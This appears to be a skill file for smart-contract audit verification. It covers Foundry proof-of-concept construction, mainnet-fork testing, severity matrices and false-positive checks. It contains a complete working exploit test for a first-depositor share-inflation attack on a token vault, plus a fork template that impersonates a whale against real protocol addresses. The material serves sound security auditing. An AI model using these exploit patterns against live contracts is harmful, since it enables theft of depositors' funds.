| name | audit-verification |
| description | Use when constructing proof-of-concept exploits, verifying audit findings against mainnet forks, classifying severity, and eliminating false positives. Covers PoC construction in Foundry, fork-testing vulnerabilities, severity classification, and evidence requirements. |
Finding Verification & PoC Construction
Verification Workflow
Finding Hypothesis โ PoC Construction โ Fork Validation โ Severity Classification โ Report
Every finding above Informational should have a verified PoC or clear explanation of why a PoC is not feasible.
PoC Template
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Import the vulnerable contracts
import {Vault} from "../src/Vault.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
contract PoCShareInflation is Test {
Vault vault;
MockERC20 token;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
token = new MockERC20("USDC", "USDC", 6);
vault = new Vault(address(token));
// Fund actors
token.mint(attacker, 2_000_000e6);
token.mint(victim, 1_000_000e6);
}
function test_PoC_firstDepositorShareInflation() public {
// Step 1: Attacker is first depositor
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker); // deposit 1 wei, get 1 share
console2.log("Attacker shares:", vault.balanceOf(attacker));
// Step 2: Attacker donates tokens to inflate share price
token.transfer(address(vault), 1_000_000e6);
console2.log("Vault total assets:", vault.totalAssets());
console2.log("Share price:", vault.totalAssets() * 1e6 / vault.totalSupply());
vm.stopPrank();
// Step 3: Victim deposits
vm.startPrank(victim);
token.approve(address(vault), type(uint256).max);
uint256 victimShares = vault.deposit(999_999e6, victim);
console2.log("Victim shares:", victimShares);
vm.stopPrank();
// Step 4: Attacker withdraws
vm.prank(attacker);
uint256 attackerReceived = vault.redeem(
vault.balanceOf(attacker), attacker, attacker
);
console2.log("Attacker received:", attackerReceived);
// Verify the exploit: attacker profits at victim's expense
assertGt(attackerReceived, 1_000_000e6, "attacker should profit");
uint256 victimLoss = 999_999e6 - vault.convertToAssets(victimShares);
console2.log("Victim loss:", victimLoss);
assertGt(victimLoss, 0, "victim should lose funds");
}
}
Fork-Testing Vulnerabilities
Test against real mainnet state for live protocol findings:
contract PoCMainnetExploit is Test {
function setUp() public {
vm.createSelectFork("mainnet", 19_500_000);
}
function test_PoC_oracleManipulation() public {
address target = 0x...; // real protocol address
// Impersonate a whale
address whale = 0x...;
vm.startPrank(whale);
// Execute the attack against real contracts
// ...
// Verify the exploit outcome
assertGt(profit, 0, "exploit should be profitable");
vm.stopPrank();
}
}
Severity Classification Matrix
Impact Assessment
| Impact Level | Criteria |
|---|
| Critical | Direct loss of funds, permanent protocol bricking |
| High | Significant loss of funds, temporary protocol DoS |
| Medium | Moderate loss, griefing, value leakage over time |
| Low | Minor impact, informational with edge-case implications |
Likelihood Assessment
| Likelihood | Criteria |
|---|
| High | No special conditions, any user can trigger |
| Medium | Requires specific conditions (timing, state, capital) |
| Low | Requires unlikely conditions or privileged access |
Severity Matrix
โ High Impact โ Medium Impact โ Low Impact โ
โโโโโโโโโโโโโโโผโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโผโโโโโโโโโโโโโโค
High Likely โ CRITICAL โ HIGH โ MEDIUM โ
Medium Likely โ HIGH โ MEDIUM โ LOW โ
Low Likely โ MEDIUM โ LOW โ INFORMATIONALโ
Evidence Requirements by Severity
Critical / High
- Working Foundry PoC that demonstrates the vulnerability
- Clear profit/loss calculation
- Affected users/funds estimation
- Fork test against mainnet (when applicable)
Medium
- PoC or detailed step-by-step exploit scenario
- Impact analysis with realistic assumptions
- Affected code paths identified
Low
- Code reference showing the issue
- Explanation of conditions required to trigger
- Suggested fix
Informational
- Code reference
- Best practice recommendation
False Positive Elimination
Before reporting, verify the finding is NOT a false positive:
### False Positive Checklist
โก Is the vulnerable code path actually reachable?
โก Are preconditions achievable in practice?
โก Does the PoC work with realistic parameters?
โก Is the attack economically viable (cost < profit)?
โก Are existing mitigations actually bypassed?
โก Does the finding survive compiler optimizations?
โก Is the issue already documented as a known limitation?
Common False Positives
| Pattern | Why It's Usually False |
|---|
| Rounding in favor of protocol | By design in ERC-4626 |
| Owner can rug | Centralization risk, not a bug |
| Gas griefing on large loops | If loop is bounded, it's fine |
| Timestamp dependence | ยฑ12s is acceptable for most use cases |
| Front-running deposits | Standard AMM behavior |
Verification Commands
forge test --match-test "test_PoC" -vvvv
forge test --match-test "test_PoC" --fork-url $ETH_RPC_URL -vvvv
forge test --match-test "test_PoC" --gas-report
forge test --match-test "test_PoC" -vvvv 2>&1 | tee poc-trace.txt
Checklist